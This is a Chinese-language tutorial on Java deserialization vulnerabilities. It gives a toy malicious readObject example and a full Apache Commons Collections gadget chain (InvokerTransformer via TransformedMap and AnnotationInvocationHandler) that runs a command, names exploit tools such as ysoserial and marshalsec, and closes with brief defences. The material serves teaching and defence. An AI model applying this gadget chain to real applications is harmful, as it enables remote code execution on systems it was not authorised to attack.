java反序列化漏洞详解
字数 1282 2025-08-10 22:07:53
Java反序列化漏洞详解
基础知识
Java序列化与反序列化
Java序列化:将Java对象转换为字节序列的过程,便于保存在内存、文件或数据库中。使用ObjectOutputStream类的writeObject()方法实现序列化。
Java反序列化:把字节序列恢复为Java对象的过程,使用ObjectInputStream类的readObject()方法进行反序列化。
序列化的作用
序列化与反序列化使Java对象能够脱离Java运行环境,主要应用场景:
- HTTP:多平台之间的传输
- RMI(远程方法调用):Java支持分布式应用程序开发的API,100%基于反序列化,默认使用1099端口
Java反序列化漏洞成因
漏洞产生条件:
- 暴露或间接暴露反序列化API,允许用户操作传入数据
- 攻击者可以构造恶意序列化对象
- 反序列化时会调用
readObject()方法,如果该方法被重写且包含恶意代码,就会执行恶意操作
漏洞原理分析
简单示例
import java.io.*;
class MyObject implements Serializable {
public String name;
// 重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject(); // 执行默认反序列化
Runtime.getRuntime().exec("calc.exe"); // 恶意代码
}
}
public class testSerialize {
public static void main(String args[]) throws Exception {
MyObject myObj = new MyObject();
myObj.name = "hi";
// 序列化对象
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(myObj);
os.close();
// 反序列化对象
FileInputStream fis = new FileInputStream("object");
ObjectInputStream ois = new ObjectInputStream(fis);
MyObject objectFromDisk = (MyObject)ois.readObject();
System.out.println(objectFromDisk.name);
ois.close();
}
}
关键点:
- 只有实现
Serializable接口的类才能被序列化 - 重写
readObject()方法并在其中插入恶意代码 - 反序列化时会自动执行
readObject()中的代码
实际利用:Apache Commons Collections漏洞
核心组件
- Transformer接口:定义了一个
transform方法 - InvokerTransformer类:实现Transformer接口,利用反射调用任意方法
public class InvokerTransformer implements Transformer, Serializable {
public Object transform(Object input) {
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (Exception ex) {
// 异常处理
}
}
}
利用链构造
- ConstantTransformer:返回传入的常量对象
- ChainedTransformer:将多个Transformer串联执行
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
触发点
- TransformedMap:提供了
checkSetValue方法调用Transformer - AnnotationInvocationHandler:在JDK<1.7中重写了
readObject方法,会调用Map的setValue
完整利用链
- 构造恶意Transformer链
- 创建TransformedMap并设置Transformer链
- 通过反射创建AnnotationInvocationHandler实例
- 序列化该实例
- 目标反序列化时触发漏洞
// 构造Transformer链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
// 创建TransformedMap
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
// 反射创建AnnotationInvocationHandler
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, outerMap);
// 序列化instance对象发送给目标
Java反序列化历史漏洞
常见存在反序列化漏洞的组件:
- fastjson
- jackson
- hibernate
- Apache Commons Collections
- 其他广泛使用的第三方库
检测与利用工具
- ysoserial:集合了各种反序列化POC的工具
- marshalsec:反序列化POC生成工具,可启动RMI/JNDI服务端
漏洞挖掘方法
- 寻找反序列化入口点
- 检查项目中使用的第三方组件版本是否存在已知漏洞
- 分析是否存在可利用的调用链
防御措施
- 升级存在漏洞的第三方库
- 对反序列化操作进行白名单控制
- 使用安全的序列化替代方案
- 实施输入验证和过滤
参考资源
- Java反序列化漏洞原理与防御
- ysoserial项目
- marshalsec工具